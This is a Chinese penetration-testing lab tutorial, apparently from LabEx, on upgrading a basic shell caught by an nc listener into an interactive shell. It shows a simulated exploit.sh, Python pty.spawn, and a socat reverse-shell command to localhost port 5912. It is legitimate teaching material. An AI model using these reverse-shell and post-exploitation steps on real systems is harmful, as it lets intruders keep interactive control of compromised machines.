介绍
在渗透测试领域,获取目标系统的访问权限通常涉及获得一个 shell,这可以是一个简单的 shell 或一个交互式 shell。简单的 shell 功能有限,缺乏交互能力,而交互式 shell 则提供了一个更强大且用户友好的环境。本实验旨在探索简单 shell 和交互式 shell 之间的区别,并指导你将简单 shell 升级为交互式 shell。
理解简单 shell
在这一步骤中,我们将探讨简单 shell 的概念及其局限性。简单 shell 通常通过远程命令执行漏洞或其他利用技术获得。虽然它允许你在目标系统上执行命令,但它缺乏一些关键功能,这些功能可能会阻碍后续的利用阶段。
首先,打开一个终端窗口并导航到
/home/labex/project目录:cd /home/labex/project为了模拟在目标系统上获取简单 shell 的过程,你需要使用
nc命令在端口5911上设置一个监听器:nc -lnvp 5911预期输出:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911 ...这个终端窗口将作为简单 shell 连接的监听器。
打开另一个终端窗口并导航到
/home/labex/project目录,你应该会在主目录中看到一个exploit.sh文件。该文件模拟了一个远程命令执行漏洞利用,可用于在目标系统上获取简单 shell。cd /home/labex/project运行
exploit.sh脚本以连接到端口5911上的监听器,并在目标系统上获取简单 shell:./exploit.sh预期输出:
labex:project/ $ ./exploit.sh Simulating attack... Shell has been rebound, please check the terminal which you listen to the port 5911该脚本将连接到端口
5911上的监听器,并在目标系统上为你提供一个简单 shell。回到你设置监听器的终端窗口,你应该会看到与目标系统建立的连接。
示例输出:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696 |你可以通过执行诸如
whoami和lsb_release -a等命令来验证你是否获得了简单 shell。然而,你会注意到简单 shell 缺少某些功能,例如适当的命令提示符、Tab 补全以及使用交互式命令(如su或ssh)的能力。
使用 Python 升级到交互式 shell
将简单 shell 升级为交互式 shell 的一种方法是使用 Python 的 pty 模块,它允许你创建一个伪终端(pts)。
首先,通过运行以下命令检查目标系统上是否安装了 Python:
which python如果 Python 可用,你可以使用以下命令创建一个伪终端:
python -c 'import pty; pty.spawn("/bin/bash");'该命令将生成一个支持伪终端的新交互式 shell,允许你无任何问题地执行诸如
su和ssh等命令。示例输出:
labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");' labex@660d6d4be229593d40db954d:~/project$你可以通过运行
tty命令并将输出重定向到文件来验证新 shell 是否为伪终端:tty > /home/labex/project/shell.txt检查
shell.txt文件的内容,看看 shell 是否为伪终端(pts)。cat /home/labex/project/shell.txt示例输出:
labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt /dev/pts/5
然而,尽管 Python 伪终端解决了简单 shell 的一些局限性,但它仍然缺少某些功能,例如 Tab 补全、历史记录导航以及对文本编辑器(如 vim 或 vi)的适当支持。
PS:你可以通过输入 exit 或按下 Ctrl+D 从伪终端 shell 中退出。
使用 Socat 升级到完全交互式 shell
为了获得更全面的解决方案,我们可以使用 socat 工具来获取一个支持所有功能的完整交互式 shell,包括 Tab 补全、历史记录导航和文本编辑器兼容性。
首先,通过运行以下命令检查目标系统上是否安装了 socat:
which socat
如果 socat 可用,请按照以下步骤操作:
打开一个新的终端窗口,并使用以下
socat命令在端口5912上启动一个监听器:socat file:$(tty),raw,echo=0 tcp-listen:5912等待连接建立。
在简单 shell 中,执行以下命令以连接到监听器并将 shell 升级为完整交互式 shell:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912回到你设置监听器的终端窗口,你应该会看到与目标系统建立的连接。你现在应该拥有一个完全交互式的 shell,具备常规终端会话中期望的所有功能。
示例输出:
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912 labex@660d5d5ee229593d40db9301:~$
通过使用 cat、ssh、vim 等命令以及使用上下箭头键浏览命令历史记录来测试新的交互式 shell。
总结
在本实验中,我们在渗透测试的背景下探讨了简单 shell 和交互式 shell 的概念。我们了解了简单 shell 的局限性,以及升级到交互式 shell 对于高效进行后续利用活动的重要性。我们介绍了两种升级简单 shell 的方法:使用 Python 的 pty 模块创建伪终端,以及使用 socat 工具获取具备所有必要功能的完整交互式 shell。通过练习这些技术,你掌握了宝贵的技能,这些技能将在未来的渗透测试任务中帮助你克服简单 shell 带来的挑战,并简化你的后续利用工作。